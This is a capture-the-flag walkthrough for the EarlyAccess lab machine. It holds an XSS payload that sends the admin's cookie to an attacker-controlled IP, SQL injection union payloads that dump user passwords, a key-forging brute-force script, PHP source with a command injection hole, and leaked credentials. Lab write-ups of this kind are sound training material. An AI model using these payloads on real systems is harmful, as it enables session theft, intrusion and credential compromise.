Enumeration

Open Port

PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA4aa/x4R1TiTar8MYr6XZGVABRzTfiQGV97w7EnWMV2JBd8+dm/I7wsGkaz6VrW0NhiUb3Blv0n37Uo69YElbnxTa7xrzDWwBmdgMTEOo9OYoCU5XI1BrT9BAPy2/OMHc6Z9XSTWOlxPypUumlGz7gTo6eEedcNjXucm4qmKqCygWpd85UUzjaBeDL6w7YSXHqY8UCXW1a33JzFqa2Yo5663+vdRbqjlUDQPljZ6+GZ9TnwmiViJnhM3Px7gsMZQP7RJKF2q6gpFyAN16RGOgtPSrbjGCdtfBPoVg1FHx2kqoPffHkYqtQ6dI9ndVwk5uOgjm16YM86b5uE5W6ze7
|   256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEViYQSGFH9qKODrhpo9E6Qt3ob2z5P8c2tiuCth+LlZatU6kW6UGfNsf1au+JMlOd9m4DFK2Y/gbCnGG19g1Kg=
|   256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG1mV03hXdu0wBUDWrldFfH24kABXLzTDT/3uZBNJt/y
80/tcp  open  http     syn-ack ttl 62 Apache httpd 2.4.38
|_http-title: Did not follow redirect to https://earlyaccess.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
443/tcp open  ssl/http syn-ack ttl 62 Apache httpd 2.4.38
|_http-title: EarlyAccess
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.38 (Debian)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT/emailAddress=[email protected]/organizationalUnitName=IT/localityName=Vienna
| Issuer: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT/emailAddress=[email protected]/organizationalUnitName=IT/localityName=Vienna

Sub Domain

Found 2 subdomains.

  1. dev.earlyaccess.htb
  2. game.earlyaccess.htb

Enumerating Webpage

Following is the screenshot of earlyaccess.htb

Following is the preview of game.earlyaccess.htb

Following is the preview of dev.earlyaccess.htb

If you have noticed by default it is admin login page.

When we enter wrong credentials

Account Registration

There existed registration page in the earlyaccess.htb

Lets register our account maybe we should open our burp 🤔

Once logged in we are in dashboard

I have option to send messages, receive them, store (which we don’t have access to), we got a forums page and finally place to enter the early access key.

It seems like we can ask the admin to give use game-key for early access of the product. Lets try sending a message.

We have received the reply

P.S if you are like why the screenshot of the website is in white them all of a sudden, cuz I moved from Firefox browser which had the extension for dark theme to burp embedded browser.

Phishing

Lets try sending some phishing links

Failed doesn’t work

XSS

It looks like the username part is vulnerable to XSS.

Grabbing Admin Cookies - via XSS

I used payload from PayloadsAllTheThings and got the cookie of the admin via XSS.

<script>document.location='http://10.10.14.90/XSS/grabber.php?c='+document.cookie</script>

I URL decoded the cookies I got, not sure if its really needed but for the safer side

and then I copy pasted those cookies into the browser and visited home page, and the user changed to admin!

Offline key validator

Let’s download and explore what it is.

We have the following [validate.py](http://validate.py) in backup.zip

#!/usr/bin/env python3
import sys
from re import match

class Key:
    key = ""
    magic_value = "XP" # Static (same on API)
    magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)

    def __init__(self, key:str, magic_num:int=346):
        self.key = key
        if magic_num != 0:
            self.magic_num = magic_num

    @staticmethod
    def info() -> str:
        return f"""
        # Game-Key validator #

        Can be used to quickly verify a user's game key, when the API is down (again).

        Keys look like the following:
        AAAAA-BBBBB-CCCC1-DDDDD-1234

        Usage: {sys.argv[0]} <game-key>"""

    def valid_format(self) -> bool:
        return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))

    def calc_cs(self) -> int:
        gs = self.key.split('-')[:-1]
        return sum([sum(bytearray(g.encode())) for g in gs])

    def g1_valid(self) -> bool:
        g1 = self.key.split('-')[0]
        r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
        if r != [221, 81, 145]:
            return False
        for v in g1[3:]:
            try:
                int(v)
            except:
                return False
        return len(set(g1)) == len(g1)

    def g2_valid(self) -> bool:
        g2 = self.key.split('-')[1]
        p1 = g2[::2]
        p2 = g2[1::2]
        return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

    def g3_valid(self) -> bool:
        # TODO: Add mechanism to sync magic_num with API
        g3 = self.key.split('-')[2]
        if g3[0:2] == self.magic_value:
            return sum(bytearray(g3.encode())) == self.magic_num
        else:
            return False

    def g4_valid(self) -> bool:
        return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]

    def cs_valid(self) -> bool:
        cs = int(self.key.split('-')[-1])
        return self.calc_cs() == cs

    def check(self) -> bool:
        if not self.valid_format():
            print('Key format invalid!')
            return False
        if not self.g1_valid():
            return False
        if not self.g2_valid():
            return False
        if not self.g3_valid():
            return False
        if not self.g4_valid():
            return False
        if not self.cs_valid():
            print('[Critical] Checksum verification failed!')
            return False
        return True

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(Key.info())
        sys.exit(-1)
    input = sys.argv[1]
    validator = Key(input)
    if validator.check():
        print(f"Entered key is valid!")
    else:
        print(f"Entered key is invalid!")

🤔🤔🤔will have to go through this code I guess.

Key Generation Script

from itertools import combinations
import os 
keys=[]

#[A-Z0-9]{5}
#(-[A-Z0-9]{5})
#(-[A-Z]{4}[0-9])
#(-[A-Z0-9]{5})
#(-[0-9]{1,5})

#KEY12-0P2F4-XPAA0-GAMD2-1309

list_three=[]

one="KEY12" #last two should be integers 
two="0P2F4" #first part => 0,2,4 second part => 1,3 sum(0,2,4) == sum(1,3)
three="XP" #first 4 Alpha last digit 2,3,4 will be magic num, 2,3,4 sum should be = X+P
four="GAMD2"

digit=[48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 , 56 , 57 ]

alpha=[65 , 66 , 67 , 68 , 69 , 70 , 71 , 72 , 73 , 74 , 75 , 76 , 77 , 78 , 79 , 80 , 81 , 82 , 83 , 84 , 85 , 86 , 87 , 88 , 89 , 90]

alphanumeric=[48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 , 56 , 57 ,65 , 66 , 67 , 68 , 69 , 70 , 71 , 72 , 73 , 74 , 75 , 76 , 77 , 78 , 79 , 80 , 81 , 82 , 83 , 84 , 85 , 86 , 87 , 88 , 89 , 90]

sum_XP=ord('X')+ord('P') #168

#three last 3 digits sum should be less than 168

#possible combinations:

lower=346

upper=405

comb_alpha = list(combinations(alpha, 2))

for i in comb_alpha:
	sum_alpha=sum(i)+sum_XP
	for j in digit:
		if(sum_alpha+j>=lower and sum_alpha+j<=upper):
			three+=chr(i[0])+chr(i[1])+chr(j)
			list_three.append(three)
			three="XP"

f=open("wordlist.txt","a");

counter=0
for i in list_three:
	sum1=sum(bytearray(one.encode()))
	sum2=sum(bytearray(two.encode()))
	sum3=sum(bytearray(i.encode()))
	sum4=sum(bytearray(four.encode()))
	check_sum=sum1+sum2+sum3+sum4
	if(check_sum>999 and check_sum<=9999):
		key=one+"-"+two+"-"+i+"-"+four+"-"+str(check_sum)
		f.write(key+"\n")
		res = os.popen('python validate.py '+key).read()
		if(res.strip()!="Entered key is valid!"):
			print(res)
		else:
			print(counter,end="\r")
		counter+=1

I used this wordlist in intruder and found the valid key., It took me more than 150 requests to find the valid one. It

Lets register the key for a normal user and then visit the game subdomain.

Game

SQL INJECTION

Lets play the game so our name appears in scoreboard. If you notice the score board after playing game Yours will be something like this it may error out if it as bad characters

Lets try SQL injection now.

I found union worked for injection by using the payload ') union select 1,2,3 -- - works without error, but when I tried with one more column it error-ed.

Therefore I used the payload ') union select name,password,null from users -- -

gameover is the password for admin.

dev.earlyaccess.htb

Following is the request made when hashing function is used.

Let’s see what could be the valid end point for file tools.

File-Tools

file.php looks valid to me. Now lets fuzz parameter.

Fuzzing parameter

I used arjun tool to find the parameter, filepath and factor seem to be valid ones.

Exploiting LFI

LFI exist but its restricted.

Let’s try using php wrappers to work around this restriction.

<?php
include_once "../includes/session.php";

function hash_pw($hash_function, $password)
{
    // DEVELOPER-NOTE: There has gotta be an easier way...
    ob_start();
    // Use inputted hash_function to hash password
    $hash = @$hash_function($password);
    ob_end_clean();
    return $hash;
}

try
{
    if(isset($_REQUEST['action']))
    {
        if($_REQUEST['action'] === "verify")
        {
            // VERIFIES $password AGAINST $hash

            if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
            {
                // Only allow custom hashes, if `debug` is set
                if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
                    throw new Exception("Only MD5 and SHA1 are currently supported!");

                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);

                $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
                header('Location: /home.php?tool=hashing');
                return;
            }
        }
        elseif($_REQUEST['action'] === "verify_file")
        {
            //TODO: IMPLEMENT FILE VERIFICATION
        }
        elseif($_REQUEST['action'] === "hash_file")
        {
            //TODO: IMPLEMENT FILE-HASHING
        }
        elseif($_REQUEST['action'] === "hash")
        {
            // HASHES $password USING $hash_function

            if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
            {
                // Only allow custom hashes, if `debug` is set
                if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
                    throw new Exception("Only MD5 and SHA1 are currently supported!");

                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
                if(!isset($_REQUEST['redirect']))
                {
                    echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
                    echo '<br>' . $hash;
                    return;
                }
                else
                {
                    $_SESSION['hash'] = $hash;
                    header('Location: /home.php?tool=hashing');
                    return;
                }
            }
        }
    }
    // Action not set, ignore
    throw new Exception("");
}
catch(Exception $ex)
{
    if($ex->getMessage() !== "")
        $_SESSION['error'] = htmlentities($ex->getMessage());

    header('Location: /home.php');
    return;
}
?>

Above is the source code for hash.php

That fragment of code is vulnerable to command injection + RCE having debug enabled.

Foothold

Command Injection

let’s follow the redirect. Use debug=true or whatever after debug= so the if statement gets validated.

Let’s get the reverse shell using this vulnerability.

www-data to user

nothing interesting lets check game’s folder for the same config.php

nothing useful. Maybe password reuse? Yes! Indeed. gameover is the password for www-adm

We are not still to user flag.

Enumeration to user

Seems interesting but I cannot SSH into that user.

user=api
password=s3CuR3_API_PW!

Assuming we are in docker lets use static binary for nmap and look for interesting things.

172.18.0.100 - mysql.app_nw
172.18.0.101 - api.app_nw
172.18.0.102 - webserver

webserver is the current ip address and host. Let’s check api instance

we have something on port 5000. Lets curl that see!

let’s use wget as the creds are present in the file,. Lots of lines. lets pull it to local and use jq to read it clearly

we have the environment variables in this file and found the credentials. Let’s try to ssh as drew (to check password reuse 😉).

"MYSQL_DATABASE=db",
        "MYSQL_USER=drew",
        "MYSQL_PASSWORD=drew",
        "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
        "SERVICE_TAGS=dev",
        "SERVICE_NAME=mysql",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        "GOSU_VERSION=1.12",
        "MYSQL_MAJOR=8.0",
        "MYSQL_VERSION=8.0.25-1debian10"